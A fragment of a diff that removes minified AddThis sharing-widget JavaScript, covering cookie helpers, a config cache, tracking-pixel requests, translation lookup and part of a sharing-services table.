-                            d = new Error('Invariant Violation: ' + t.replace(/%s/g, () => u[c++]));
-                        }
-                        throw ((d.framesToPop = 1), d);
-                    }
-                };
-                e.exports = a;
-            }, ,
-            (e, t) => {
-                function n(e, t, n, a) {
-                    t && (t.attachEvent ? t[(e ? 'detach' : 'attach') + 'Event']('on' + n, a) : t[(e ? 'remove' : 'add') + 'EventListener'](n, a, !1));
-                }
-                function a(e, t, a) {
-                    n(!1, e, t, a);
-                }
-                function i(e, t, a) {
-                    n(!0, e, t, a);
-                }
-                e.exports = {
-                    listen: a,
-                    unlisten: i
-                };
-            }, , , , , ,
-            (e, t) => {
-                'use strict';
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = () => {}),
-                    (e.exports = t.default);
-            },
-            (e, t, n) => {
-                'use strict';
-                function a() {
-                    this._load();
-                }
-                var i;
-                var o = n(31);
-                var r = n(13);
-                var s = n(14);
-                var d = (n(16), n(11));
-                (a.prototype = {
-                    _getKey() {
-                        return 'at-lojson-cache-' + (o() || '*nopub*');
-                    },
-                    _save() {
-                        try {
-                            var e = JSON.stringify(this._lojsonResponse);
-                            window.localStorage.setItem(this._getKey(), e);
-                        } catch (e) {
-                            r.error(e);
-                        }
-                    },
-                    _load() {
-                        try {
-                            var e = JSON.parse(window.localStorage.getItem(this._getKey()));
-                            this._lojsonResponse = this._setLoJsonResponse(e);
-                        } catch (e) {
-                            r.error(e), (this._lojsonResponse = null);
-                        }
-                    },
-                    _setLoJsonResponse(e) {
-                        var t = window.MOCK_LOJSON_RESPONSE;
-                        if (t && e)
-                            for (var n in t) e[n] = t[n];
-                        return e;
-                    },
-                    exists() {
-                        return Boolean(this._lojsonResponse);
-                    },
-                    hasToolConfigs() {
-                        return Boolean(this.getLayersConfig() || this.getCustomMessageConfig());
-                    },
-                    updateCache(e) {
-                        (this._lojsonResponse = this._setLoJsonResponse(e)), this._save();
-                    },
-                    getLayersConfig() {
-                        return this.safelyGet('config');
-                    },
-                    isBrandingReduced() {
-                        return this.safelyGet('subscription', 'reducedBranding');
-                    },
-                    isPayingCustomer() {
-                        return 'PRO' === this.safelyGet('subscription', 'edition');
-                    },
-                    getLocation() {
-                        return s.get();
-                    },
-                    getCustomMessageConfig() {
-                        return this.safelyGet('customMessages');
-                    },
-                    getPositionTemplates() {
-                        return this.safelyGet('customMessageTemplates');
-                    },
-                    getFeedsTestCells() {
-                        return this.safelyGet('perConfig');
-                    },
-                    safelyGet(...args) {
-                        var e = this._lojsonResponse;
-                        try {
-                            for (var t = 0; t < args.length; t++) e = e[args[t]];
-                            return e;
-                        } catch (e) {
-                            return;
-                        }
-                    },
-                    setLojsonRequestObject(e) {
-                        d.object(e) && (i = e);
-                    },
-                    getLojsonRequestObject() {
-                        return i;
-                    }
-                }),
-                (e.exports = new a());
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(32);
-                var i = n(37);
-                var o = a('addthis_widget');
-                var r = o.pubid || o.pub || o.username;
-                r && (window.addthis_pub = window.decodeURIComponent(r)),
-                    window.addthis_pub && window.addthis_config && (window.addthis_config.username = window.addthis_pub),
-                    (e.exports = () => {
-                        var e = window;
-                        var t = e.addthis_config_msg || {};
-                        var n = e.addthis_config || {};
-                        return encodeURIComponent(i(t.pubid || t.username || t.pub || n.pubid || n.username || e.addthis_pub || ''));
-                    });
-            },
-            (e, t, n) => {
-                var a = n(33);
-                var i = n(35);
-                var o = n(36);
-                e.exports = (e) => {
-                    var t = o(e);
-                    return t && t.src ? (t.src.indexOf('#') > -1 ? a(t.src) : i(t.src)) : {};
-                };
-            },
-            (e, t, n) => {
-                var a = n(34);
-                e.exports = (e) => {
-                    var t;
-                    var n = e.indexOf('#');
-                    return (t = n !== -1 ? e.substring(n) : ''), a(t.replace(/^[^\#]+\#?|^\#?/, ''));
-                };
-            },
-            (e, t) => {
-                e.exports = (e, t) => {
-                    var n = void 0 !== t ? t : '&';
-                    var a = void 0 !== e ? e : '';
-                    return a.split(n).reduce((e, t) => {
-                        var n;
-                        var a;
-                        var i;
-                        try {
-                            (n = t.split('=')),
-                            (a = window.decodeURIComponent(n[0]).trim()),
-                            (i = window.decodeURIComponent(n.slice(1).join('=')).trim()),
-                            a && (e[a] = i);
-                        } catch (e) {}
-                        return e;
-                    }, {});
-                };
-            },
-            (e, t, n) => {
-                var a = n(34);
-                e.exports = (e) => {
-                    var t;
-                    var n = e.indexOf('?');
-                    return (t = n !== -1 ? e.substring(n) : ''), a(t.replace(/^[^\?]+\??|^\??/, ''));
-                };
-            },
-            (e, t) => {
-                e.exports = (e) => {
-                    for (var t = document.getElementsByTagName('script'), n = t.length - 1; n >= 0; n--)
-                        if (t[n].src.indexOf(e) !== -1) return t[n];
-                };
-            },
-            (e, t) => {
-                e.exports = (e, t) => {
-                    e && e.trim && 'function' == typeof e.trim && (e = e.trim());
-                    try {
-                        e = e.replace(/^[\s\u3000]+/, '').replace(/[\s\u3000]+$/, '');
-                    } catch (e) {}
-                    return e && t && (e = window.encodeURIComponent(e)), e || '';
-                };
-            }, , , , , , ,
-            (e, t, n) => {
-                'use strict';
-                var a = n(45);
-                var i = n(46);
-                var o = n(47);
-                var r = n(50);
-                var s = n(51);
-                e.exports = (e) => {
-                    var t = {
-                        utm_source: 'AddThis Tools',
-                        utm_medium: 'image',
-                        utm_campaign: e
-                    };
-                    var n = 'https://www.addthis.com/website-tools/overview';
-                    var d = s();
-                    var u = o();
-                    var c = /^(de|es|fr|ja)/.exec(d);
-                    if (null !== c && u && !r(u)) {
-                        var l = parseInt(u.slice(-1), 16) % 2 === 0;
-                        var f = 'ja' === c[1] ? 'jp' : c[1];
-                        (t.cell = l ? 'en' : f), (n = 'https://www.addthis.com/get-sharing-sidebar/' + f);
-                    }
-                    var p = i(t, (e, t) => t);
-                    var h = a(p, (e, t) => window.encodeURIComponent(t) + '=' + window.encodeURIComponent(e)).join('&');
-                    return n + '?' + h;
-                };
-            },
-            (e, t) => {
-                e.exports = function(e, t, n) {
-                    var a;
-                    var i = [];
-                    if (((n = void 0 !== n ? n : this), null === e || void 0 === e)) return i;
-                    for (a in e) e.hasOwnProperty(a) && i.push(t.call(n, e[a], a));
-                    return i;
-                };
-            },
-            (e, t, n) => {
-                e.exports = function(e, t, a) {
-                    var i = n(11);
-                    var o = i.array;
-                    var r = i.object;
-                    var s = i.function;
-                    var d = r(e);
-                    var u = o(e);
-                    var c = u ? [] : {};
-                    var l = a || this;
-                    if (!s(t)) throw new TypeError(t + ' is not a function');
-                    if (u) return e.filter((n, a) => t && t.call(l, a, n, e));
-                    if (d) {
-                        for (var f in e) e.hasOwnProperty(f) && t && t.call(l, f, e[f], e) && (c[f] = e[f]);
-                        return c;
-                    }
-                    return [];
-                };
-            },
-            (e, t, n) => {
-                var a;
-                var i = n(48);
-                e.exports = () => {
-                    var e;
-                    return a ? a : ('undefined' != typeof _ate && _ate.uid ? (a = _ate.uid) : ((e = i.read('uid')), e && (a = e)), a);
-                };
-            },
-            (e, t, n) => {
-                function a(e) {
-                    var t = r(window.document.cookie, ';');
-                    return t[e];
-                }
-                function i(e, t, n, i, o) {
-                    if (!d(a, e)) {
-                        var r = o;
-                        var u = e + '=' + t;
-                        r || ((r = new Date()), r.setMonth(r.getMonth() + 13)),
-                            n || (u += '; expires=' + r.toUTCString()),
-                            (u += '; path=/;'),
-                            i || ((u += ' domain='), (u += s('msi') ? '.addthis.com;' : 'addthis.com;'), (u += ' Secure; SameSite=None;')),
-                            (document.cookie = u);
-                    }
-                }
-                function o(e, t) {
-                    i(e, '', !1, !Boolean(t), new Date(0));
-                }
-                var r = n(34);
-                var s = n(5);
-                var d = n(49);
-                e.exports = {
-                    read: a,
-                    write: i,
-                    kill: o
-                };
-            },
-            (e, t) => {
-                function n(e, t, n) {
-                    var a = e(t);
-                    return a && a === n;
-                }
-                function a(e) {
-                    return n(e, 'uid', '0000000000000000') || n(e, 'optout', '1');
-                }
-                function i(e, t) {
-                    return !!o.filter((e) => e === t).length && a(e);
-                }
-                var o = ['loc', 'uvc'];
-                e.exports = i;
-            },
-            (e, t) => {
-                'use strict';
-                function n(e) {
-                    return (e = e || _ate.uid), '0000000000000000' === e;
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = n),
-                    (e.exports = t.default);
-            },
-            (e, t, n) => {
-                var a = n(18);
-                e.exports = (e) => (e || a()).split('-').shift();
-            }, , , ,
-            (e, t) => {
-                e.exports = () => {
-                    var e = window;
-                    var t = e.addthis_config_msg || {};
-                    var n = e.addthis_config || {};
-                    return encodeURIComponent(t.pubid || t.username || t.pub || n.pubid || n.username || e.addthis_pub || '');
-                };
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    var t = e.params || {};
-                    return (
-                        e.sendVisitID && (t.uvs = i.getID()),
-                        e.sendPubID && (t.pub = r()),
-                        e.sendDomainPort && (t.dp = o(d.du)),
-                        e.sendClientVersion && window._atc.rev && (t.rev = window._atc.rev),
-                        t
-                    );
-                }
-                var i = n(57);
-                var o = n(59).getDomainNoProtocol;
-                var r = n(31);
-                var s = n(62);
-                var d = n(64);
-                e.exports = (e, t, n) => {
-                    var i;
-                    var o;
-                    var r = a(t || {});
-                    return (
-                        (i = s(r)),
-                        (o = new Image(1, 1)),
-                        n && ((o.onload = n), (o.onerror = n)),
-                        i ? (e.indexOf('?') > -1 ? (o.src = e + '&' + i) : (o.src = e + '?' + i)) : (o.src = e),
-                        o
-                    );
-                };
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    var t;
-                    return x(e) && (t = e.toString(16)), (!t || t.indexOf('NaN') > -1 || t.length > 3 || t === e) && (t = ''), ('000' + t).slice(-3);
-                }
-                function i(e) {
-                    var t;
-                    return y(e) && (t = parseInt(e, 16)), (!t || t !== t || t < 0) && (t = 0), t;
-                }
-                function o() {
-                    return new Date().getTime();
-                }
-                function r() {
-                    return k();
-                }
-                function s() {
-                    var e = new Date();
-                    var t = new Date(o() + 18e5);
-                    return e.getHours() > 0 && 0 === t.getHours();
-                }
-                function d() {
-                    return new Date(new Date(new Date().setHours(24, 0, 0, 0)).setSeconds(-1));
-                }
-                function u() {
-                    return s() ? d() : new Date(o() + 18e5);
-                }
-                function c(e) {
-                    if (!v || e) {
-                        var t = w.rck;
-                        var n = t(O) || '';
-                        n
-                            ?
-                            ((b = p(n)), (b.counter += 1)) :
-                            (b = {
-                                id: r(),
-                                counter: 0
-                            }),
-                            (v = 1);
-                    }
-                }
-                function l() {
-                    c(), w.sck(O, h(), !1, !0, u());
-                }
-                function f() {
-                    l();
-                }
-                function p(e) {
-                    var t = e.substr(0, 16);
-                    var n = e.substr(16, 19);
-                    return {
-                        id: t,
-                        counter: i(n)
-                    };
-                }
-                function h() {
-                    return b.id + a(b.counter);
-                }
-                function m() {
-                    return c(), 0 === b.counter;
-                }
-                function g() {
-                    return c(), b.id;
-                }
-                function _() {
-                    var e = _ate.cookie.read('__atuvs').substring(16);
-                    return parseInt(e, 16);
-                }
-                var v;
-                var b;
-                var w = n(58);
-                var x = n(11).number;
-                var y = n(11).string;
-                var k = n(60).makeCUID;
-                var C = n(61);
-                var O = (C(window.document.location.href) ? '' : '__at') + 'uvs';
-                e.exports = {
-                    update: f,
-                    isNew: m,
-                    getID: g,
-                    readVisitCount: _
-                };
-            },
-            (e, t, n) => {
-                function a(e) {
-                    return u(window.document.cookie, ';')[e];
-                }
-                function i(e, t) {
-                    window.document.cookie &&
-                        (window.document.cookie =
-                            e +
-                            '=; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/' +
-                            (t ? '; domain=' + (c('msi') ? '' : '.') + 'addthis.com; Secure; SameSite=None;' : ''));
-                }
-                function o(e) {
-                    var t;
-                    var n;
-                    var a;
-                    var i =
-                        e ||
-                        (window && window._ate && window._ate.dh) ||
-                        (window && window._ate && window._ate.du) ||
-                        (window && window._ate && window._ate.dl ? window._ate.dl.hostname : '');
-                    var o = f.getDomain(i);
-                    if (h.test(o)) return !0;
-                    (n = l()), (a = ['usarmymedia', 'govdelivery']);
-                    for (t in a)
-                        if (n == a[t]) return !0;
-                    return !1;
-                }
-                function r(e, t, n, i, r) {
-                    var s = r;
-                    p(a, e) ||
-                        (window.at_sub || o(),
-                            window._atc.xck ||
-                            (i && (window.addthis_config || {}).data_use_cookies_ondomain === !1) ||
-                            (window.addthis_config || {}).data_use_cookies === !1 ||
-                            (s || ((s = new Date()), s.setMonth(s.getMonth() + 13)),
-                                (document.cookie =
-                                    e +
-                                    '=' +
-                                    t +
-                                    (n ? '' : '; expires=' + s.toUTCString()) +
-                                    '; path=/;' +
-                                    (i ? '' : ' domain=' + (c('msi') ? '' : '.') + 'addthis.com; Secure; SameSite=None;'))));
-                }
-                function s() {
-                    return m ? 1 : (r('xtc', 1), 1 == a('xtc') && (m = 1), i('xtc', 1), m);
-                }
-                function d(e) {
-                    (window && window._atc && window._atc.xck) || (o(e) && (window._atc.xck = 1));
-                }
-                var u = n(34);
-                var c = n(5);
-                var l = n(55);
-                var f = n(59);
-                var p = n(49);
-                var h = /(?:\.mil|\.gov)$/;
-                var m = 0;
-                e.exports = {
-                    rck: a,
-                    sck: r,
-                    kck: i,
-                    cww: s,
-                    gov: d,
-                    isgv: o
-                };
-            },
-            (e, t) => {
-                function n(e) {
-                    var t = e.match(/(([^\/\/]*)\/\/|\/\/)?([^\/?&#]+)/i);
-                    if (t && t[0]) return t[0];
-                }
-                function a(e) {
-                    return e.replace(n(e), '');
-                }
-                function i(e) {
-                    return e
-                        .replace(/^(http|https):\/\//, '')
-                        .split('/')
-                        .shift();
-                }
-                function o(e) {
-                    var t;
-                    var n;
-                    if (e) {
-                        if (e.search(/(?:\:|\/\/)/) !== -1) return e;
-                        if (e.search(/^\//) !== -1) return window.location.origin + e;
-                        if (e.search(/(?:^\.\/|^\.\.\/)/) !== -1) {
-                            t = /\.\.\//g;
-                            var a = (0 === e.search(t) && e.match(t).length) || 1;
-                            var i = window.location.href.replace(/\/$/, '').split('/');
-                            return (e = e.replace(t, '').replace(n, '')), i.slice(0, i.length - a).join('/') + '/' + e;
-                        }
-                        return window.location.href.match(/(.*\/)/)[0] + e;
-                    }
-                }
-                function r(e) {
-                    return e.split('//').pop().split('/').shift().split('#').shift().split('?').shift().split('.').slice(-2).join('.');
-                }
-                e.exports = {
-                    getDomain: n,
-                    getQueryString: a,
-                    getDomainNoProtocol: i,
-                    getAbsoluteFromRelative: o,
-                    getHost: r
-                };
-            },
-            (e, t) => {
-                function n() {
-                    return ((d / 1e3) & s).toString(16) + ('00000000' + Math.floor(Math.random() * (s + 1)).toString(16)).slice(-8);
-                }
-                function a(e) {
-                    var t;
-                    try {
-                        t = new Date(1e3 * parseInt(e.substr(0, 8), 16));
-                    } catch (e) {
-                        t = new Date();
-                    }
-                    return t;
-                }
-                function i(e) {
-                    var t = a(e);
-                    return t.getTime() - 864e5 > new Date().getTime();
-                }
-                function o(e, t) {
-                    var n = a(e);
-                    return new Date().getTime() - n.getTime() > 1e3 * t;
-                }
-                function r(e) {
-                    return void 0 !== e && '[object String]' === Object.prototype.toString.call(e) && /^[0-9a-f]{16}$/.test(e) && !i(e);
-                }
-                e.exports = {
-                    makeCUID: n,
-                    isValidCUID: r,
-                    isCUIDOlderThan: o
-                };
-                var s = 4294967295;
-                var d = new Date().getTime();
-            },
-            (e, t, n) => {
-                e.exports = (e) => 0 === e.indexOf('https://s7.addthis.com/') || 0 === e.indexOf('https://edge.addthis.com/');
-            },
-            (e, t, n) => {
-                var a = n(9);
-                var i = n(63);
-                e.exports = function e(t, n, o) {
-                    var r = window.encodeURIComponent;
-                    return (
-                        (n = n || '&'),
-                        (o = o || '='),
-                        a(t, (t, a, s) => ((s = i(s)), s && t.push(r(s) + o + r(i('object' == typeof a ? e(a, n, o) : a))), t), []).join(n)
-                    );
-                };
-            },
-            (e, t) => {
-                e.exports = (e) => ((e += ''), e.replace(/(^\s+|\s+$)/g, ''));
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = document;
-                var i = n(35);
-                var o = {};
-                (o.rescan = () => {
-                    (o.du = a.location.href),
-                    (o.dh = a.location.hostname),
-                    (o.dr = a.referrer),
-                    (o.search = a.location.search),
-                    (o.pathname = a.location.pathname),
-                    (o.query = i(a.location.search)),
-                    (o.title = document.title),
-                    (o.hash = a.location.hash);
-                }),
-                o.rescan(),
-                    (e.exports = o);
-            }, ,
-            (e, t, n) => {
-                var a = n(51);
-                var i = n(67);
-                e.exports = (e, t, n) => {
-                    var o;
-                    var r;
-                    var s;
-                    var d = window.addthis_translations;
-                    if (((n = n || a()), i.isSet(t))) return (s = i.get(t));
-                    if ('en' === n || !d) return e;
-                    for (o in d)
-                        for (r in d[o][0])
-                            if (d[o][0][r] === n && d[o].length > t && d[o][t]) return (s = d[o][t]);
-                    return e;
-                };
-            },
-            (e, t) => {
-                var n = {};
-                var a = {
-                    1: 'share_caption',
-                    2: 'more',
-                    3: 'email_caption',
-                    4: 'email',
-                    5: 'favorites',
-                    6: 'email_instructions',
-                    7: 'email_to',
-                    8: 'email_from',
-                    9: 'email_message',
-                    10: 'email_privacy',
-                    11: 'email_send',
-                    12: 'email_valid',
-                    13: 'email_sent',
-                    14: 'rss_caption',
-                    15: 'rss_instructions',
-                    16: 'rss_remember',
-                    17: 'done',
-                    18: 'get_your_own',
-                    19: 'email_address',
-                    20: 'optional',
-                    21: 'max_characters',
-                    22: 'print',
-                    23: 'whats_this',
-                    24: 'privacy',
-                    25: 'use_address_book',
-                    26: 'cancel',
-                    27: 'sign_in_contacts',
-                    28: 'username',
-                    29: 'password',
-                    30: 'remember_me',
-                    31: 'sign_in',
-                    32: 'select_address_book',
-                    33: 'error_auth',
-                    34: 'email_recipients',
-                    35: 'find_a_service',
-                    36: 'no_services',
-                    37: 'share_again',
-                    38: 'sign_out',
-                    39: 'getting_contacts',
-                    40: 'suggest_a_service',
-                    41: 'share_successful',
-                    42: 'toolbar_promo',
-                    43: 'download',
-                    44: 'dont_show_these',
-                    45: 'sending',
-                    46: 'captcha',
-                    47: 'settings',
-                    48: 'email_error',
-                    49: 'captcha_header',
-                    50: 'captcha_instr',
-                    51: 'captcha_missing',
-                    52: 'captcha_error',
-                    53: 'signin_customize',
-                    106: 'domaintoolswhois',
-                    107: 'w3validator',
-                    108: 'mailto',
-                    109: 'cleansave',
-                    110: 'link',
-                    111: 'top_services',
-                    112: 'load_more',
-                    113: 'email_confirm_permitted_to_send',
-                    114: 'copy'
-                };
-                var i = (e) => {
-                    var t = !1;
-                    return a[e] && (t = a[e]), t;
-                };
-                var o = () => {
-                    var e = {};
-                    return (
-                        'object' == typeof addthis_config && 'object' == typeof addthis_config.ui_localize ?
-                        (e = addthis_config.ui_localize) :
-                        'object' == typeof addthis_localize && (e = addthis_localize),
-                        e
-                    );
-                };
-                var r = (e) => {
-                    var t = o(),
-                        n = i(e);
-                    return !(!n || !t[n]);
-                };
-                var s = (e) => {
-                    var t = o(),
-                        n = i(e);
-                    if (r(e)) {
-                        var a = t[n];
-                        return a;
-                    }
-                    return !1;
-                };
-                (n.isSet = r), (n.get = s), (e.exports = n);
-            }, , , ,
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    var t = e.code;
-                    var n = e.alt;
-                    var a = e.title;
-                    var i = e.size;
-                    var d = e.backgroundColor;
-                    var u = e.color;
-                    var c = e.buttonHeight;
-                    var l = e.buttonWidth;
-                    var f = e.borderRadius;
-                    var p = e.borderWidth;
-                    var h = e.borderStyle;
-                    var m = e.borderColor;
-                    var g = (e.type, e.label);
-                    return (
-                        (n = void 0 !== n ? n : o(t)),
-                        (a = void 0 !== a ? a : n),
-                        (g = void 0 !== g ? g : null),
-                        (c = void 0 !== c ? c : i),
-                        (l = void 0 !== l ? l : i),
-                        (d = void 0 !== d ? d : r(t)),
-                        s(t, n, a, i, d, u, c, l, f, p, h, m, g, e.loadedCallback)
-                    );
-                }
-                function i(e, t, n, i, o, r, s, d, u, c, l, f, p) {
-                    return a({
-                        code: e,
-                        alt: t,
-                        title: n,
-                        size: i,
-                        backgroundColor: o,
-                        color: r,
-                        buttonHeight: s,
-                        buttonWidth: d,
-                        borderRadius: u,
-                        borderWidth: c,
-                        borderStyle: l,
-                        borderColor: f,
-                        label: p
-                    });
-                }
-                var o = n(72);
-                var r = n(78);
-                var s = (n(81), n(82));
-                e.exports = function(e) {
-                    return 1 === arguments.length && e instanceof Object ? a(e) : i.apply(this, Array.prototype.slice.call(arguments, 0));
-                };
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(73);
-                var i = n(74);
-                var o = n(75);
-                var r = n(76);
-                var s = n(77);
-                e.exports = (e, t) => {
-                    var n;
-                    return (
-                        (n = a[e] && a[e].name ? a[e].name : i[e] && i[e].name ? i[e].name : o[e] && o[e].name ? o[e].name : r[e] ? r[e] : s(e, t)),
-                        (n || '').replace(/&nbsp;/g, ' ')
-                    );
-                };
-            },
-            (e, t) => {
-                e.exports = {
-                    '100zakladok': {
-                        url: '100zakladok.ru'
-                    },
-                    adfty: {},
-                    adifni: {},
-                    advqr: {
-                        name: 'ADV QR',
-                        url: 'qr-adv.com'
-                    },
-                    aim: {
-                        name: 'AOL Lifestream',
-                        url: 'lifestream.aol.com'
-                    },
-                    amazonwishlist: {
-                        name: 'Amazon',
-                        url: 'amazon.com'
-                    },
-                    amenme: {
-                        name: 'Amen Me!'
-                    },
-                    aolmail: {
-                        name: 'AOL Mail',
-                        url: 'webmail.aol.com'
-                    },
-                    apsense: {
-                        name: 'APSense'
-                    },
-                    atavi: {},
-                    baidu: {
-                        url: 'share.baidu.com'
-                    },
-                    balatarin: {},
-                    beat100: {},
-                    bitly: {
-                        name: 'Bit.ly',
-                        url: 'bit.ly'
-                    },
-                    bizsugar: {
-                        name: 'BizSugar'
-                    },
-                    bland: {
-                        name: 'Bland takkinn',
-                        url: 'bland.is'
-                    },
-                    blogger: {
-                        top: 1
-                    },
-                    blogmarks: {
-                        url: 'blogmarks.net'
-                    },
-                    bobrdobr: {
-                        url: 'bobrdobr.ru'
-                    },
-                    bonzobox: {
-                        name: 'BonzoBox'
-                    },
-                    bookmarkycz: {
-                        name: 'Bookmarky.cz',
-                        url: 'bookmarky.cz'
-                    },
-                    bookmerkende: {
-                        name: 'Bookmerken',
-                        url: 'bookmerken.de'
-                    },
-                    box: {
-                        url: 'box.net'
-                    },
-                    buffer: {},
-                    camyoo: {},
-                    care2: {},
-                    citeulike: {
-                        name: 'CiteULike',
-                        url: 'citeulike.org'
-                    },
-                    cosmiq: {
-                        name: 'COSMiQ',
-                        url: 'cosmiq.de'
-                    },
-                    cssbased: {
-                        name: 'CSS Based'
-                    },
-                    diary_ru: {
-                        name: 'Diary.ru',
-                        url: 'diary.ru'
-                    },
-                    digg: {
-                        top: 1
-                    },
-                    diggita: {
-                        url: 'diggita.it'
-                    },
-                    diigo: {},
-                    domaintoolswhois: {
-                        name: 'Whois Lookup',
-                        url: 'whois.domaintools.com'
-                    },
-                    douban: {},
-                    draugiem: {
-                        name: 'Draugiem.lv',
-                        url: 'draugiem.lv'
-                    },
-                    edcast: {
-                        name: 'EdCast'
-                    },
-                    email: {
-                        supportsImage: !0,
-                        top: 1
-                    },
-                    evernote: {},
-                    exchangle: {},
-                    facebook: {
-                        supportsImage: !0,
-                        top: 1
-                    },
-                    facenama: {},
-                    fashiolista: {},
-                    favable: {
-                        name: 'FAVable'
-                    },
-                    favorites: {
-                        top: 1
-                    },
-                    favoritus: {},
-                    financialjuice: {
-                        name: 'Financial Juice'
-                    },
-                    flipboard: {},
-                    folkd: {},
-                    gg: {
-                        name: 'GG',
-                        url: 'gg.pl'
-                    },
-                    gmail: {
-                        url: 'mail.google.com'
-                    },
-                    google: {
-                        name: 'Google Bookmark',
-                        top: 1
-                    },
-                    google_classroom: {
-                        name: 'Google Classroom',
-                        url: 'classroom.google.com'
-                    },
-                    googletranslate: {
-                        name: 'Google Translate',
-                        url: 'translate.google.com'
-                    },
-                    govn: {
-                        name: 'Go.vn',
-                        url: 'go.vn'
-                    },
-                    hackernews: {
-                        name: 'Hacker News',
-                        url: 'news.ycombinator.com'
-                    },
-                    hatena: {
-                        url: 'b.hatena.ne.jp'
-                    },
-                    hedgehogs: {
-                        url: 'hedgehogs.net'
-                    },
-                    historious: {
-                        name: 'historious',
-                        url: 'historio.us'
-                    },
-                    hootsuite: {},
-                    hotmail: {
-                        name: 'Outlook',
-                        url: 'mail.live.com'
-                    },
-                    houzz: {
-                        supportsImage: !0
-                    },
-                    indexor: {
-                        url: 'indexor.co.uk'
-                    },
-                    informazione: {
-                        name: 'Fai Informazione',
-                        url: 'fai.informazione.it'
-                    },
-                    instapaper: {},
-                    internetarchive: {
-                        name: 'Wayback Machine',
-                        url: 'archive.org'
-                    },
-                    iorbix: {
-                        name: 'iOrbix'
-                    },
-                    jappy: {
-                        name: 'Jappy Ticker',
-                        url: 'jappy.de'
-                    },
-                    kaixin: {
-                        name: 'Kaixin Repaste',
-                        url: 'kaixin001.com'
-                    },
-                    kakao: {},
-                    kakaotalk: {
-                        name: 'Kakao Talk',
-                        url: 'kakao.com'
-                    },
-                    ketnooi: {
-                        url: 'play.google.com'
-                    },
-                    kindleit: {
-                        name: 'Kindle It',
-                        url: 'fivefilters.org'
-                    },
-                    kledy: {
-                        url: 'kledy.de'
-                    },
-                    lidar: {
-                        name: 'LiDAR Online',
-                        url: 'lidar-online.com'
-                    },
-                    lineme: {
-                        name: 'LINE',
-                        url: 'line.me'
-                    },
-                    link: {
-                        name: 'Copy Link',
-                        supportsImage: !0
-                    },
-                    linkedin: {
-                        name: 'LinkedIn',
-                        top: 1
-                    },
-                    linkuj: {
-                        name: 'Linkuj.cz',
-                        url: 'linkuj.cz'
-                    },
-                    livejournal: {
-                        name: 'LiveJournal'
-                    },
-                    mailto: {
-                        name: 'Email App',
-                        top: 1
-                    },
-                    margarin: {
-                        name: 'mar.gar.in',
-                        url: 'mar.gar.in'
-                    },
-                    markme: {
-                        url: 'markme.me'
-                    },
-                    meinvz: {
-                        name: 'meinVZ',
-                        url: 'meinvz.net'
-                    },
-                    memonic: {},
-                    mendeley: {},
-                    meneame: {
-                        url: 'meneame.net'
-                    },
-                    messenger: {},
-                    mixi: {
-                        url: 'mixi.jp'
-                    },
-                    moemesto: {
-                        name: 'Moemesto.ru',
-                        url: 'moemesto.ru'
-                    },
-                    mrcnetworkit: {
-                        name: 'mRcNEtwORK',
-                        url: 'mrcnetwork.it'
-                    },
-                    mymailru: {
-                        name: 'Mail.ru',
-                        supportsImage: !0,
-                        url: 'my.mail.ru'
-                    },
-                    myspace: {
-                        top: 1
-                    },
-                    myvidster: {
-                        name: 'myVidster'
-                    },
-                    n4g: {
-                        name: 'N4G'
-                    },
-                    naszaklasa: {
-                        name: 'Nasza-klasa',
-                        url: 'nasza-klasa.pl'
-                    },
-                    netvibes: {},
-                    netvouz: {},
-                    newsvine: {},
-                    nujij: {
-                        url: 'nujij.nl'
-                    },
-                    nurses_lounge: {
-                        name: 'Nurses Lounge',
-                        url: 'nurseslounge.com'
-                    },
-                    odnoklassniki_ru: {
-                        name: 'Odnoklassniki',
-                        supportsImage: !0,
-                        url: 'odnoklassniki.ru'
-                    },
-                    oknotizie: {
-                        name: 'OKNOtizie',
-                        url: 'oknotizie.virgilio.it'
-                    },
-                    onenote: {
-                        name: 'OneNote',
-                        supportsImage: !0
-                    },
-                    openthedoor: {
-                        name: 'OpenTheDoor',
-                        url: 'otd.to'
-                    },
-                    oyyla: {},
-                    pafnetde: {
-                        name: 'pafnet.de',
-                        url: 'pafnet.de'
-                    },
-                    pdfmyurl: {
-                        name: 'PDFmyURL'
-                    },
-                    pinboard: {
-                        url: 'pinboard.in'
-                    },
-                    pinterest_share: {
-                        name: 'Pinterest',
-                        supportsImage: !0,
-                        top: 1,
-                        url: 'pinterest.com'
-                    },
-                    plurk: {},
-                    pocket: {
-                        url: 'getpocket.com'
-                    },
-                    posteezy: {},
-                    print: {
-                        top: 1
-                    },
-                    printfriendly: {
-                        name: 'PrintFriendly'
-                    },
-                    pusha: {
-                        url: 'pusha.se'
-                    },
-                    qrsrc: {
-                        name: 'QRSrc.com'
-                    },
-                    quantcast: {},
-                    qzone: {
-                        supportsImage: !0,
-                        url: 'qzone.qq.com'
-                    },
-                    reddit: {
-                        top: 1
-                    },
-                    rediff: {
-                        name: 'Rediff MyPage',
-                        url: 'mypage.rediff.com'
-                    },
-                    renren: {
-                        supportsImage: !0
-                    },
-                    researchgate: {
-                        name: 'ResearchGate',
-                        url: 'researchgate.net'
-                    },
-                    safelinking: {
-                        url: 'safelinking.net'
-                    },
-                    scoopit: {
-                        name: 'Scoop.it',
-                        url: 'scoop.it'
-                    },
-                    sharer: {
-                        name: 'WebMoney',
-                        url: 'events.webmoney.ru'
-                    },
-                    sinaweibo: {
-                        name: 'Sina Weibo',
-                        supportsImage: !0,
-                        top: 1,
-                        url: 't.sina.com.cn'
-                    },
-                    skype: {},
-                    skyrock: {
-                        name: 'Skyrock Blog'
-                    },
-                    slack: {},
-                    sms: {
-                        name: 'SMS'
-                    },
-                    sodahead: {
-                        name: 'SodaHead'
-                    },
-                    spinsnap: {
-                        name: 'SpinSnap'
-                    },
-                    startaid: {},
-                    startlap: {
-                        url: 'startlap.hu'
-                    },
-                    studivz: {
-                        name: 'studiVZ',
-                        url: 'studivz.net'
-                    },
-                    stuffpit: {},
-                    stumbleupon: {
-                        name: 'MIX',
-                        top: 1
-                    },
-                    stumpedia: {},
-                    stylishhome: {
-                        name: 'FabDesign'
-                    },
-                    surfingbird: {
-                        url: 'surfingbird.ru'
-                    },
-                    svejo: {
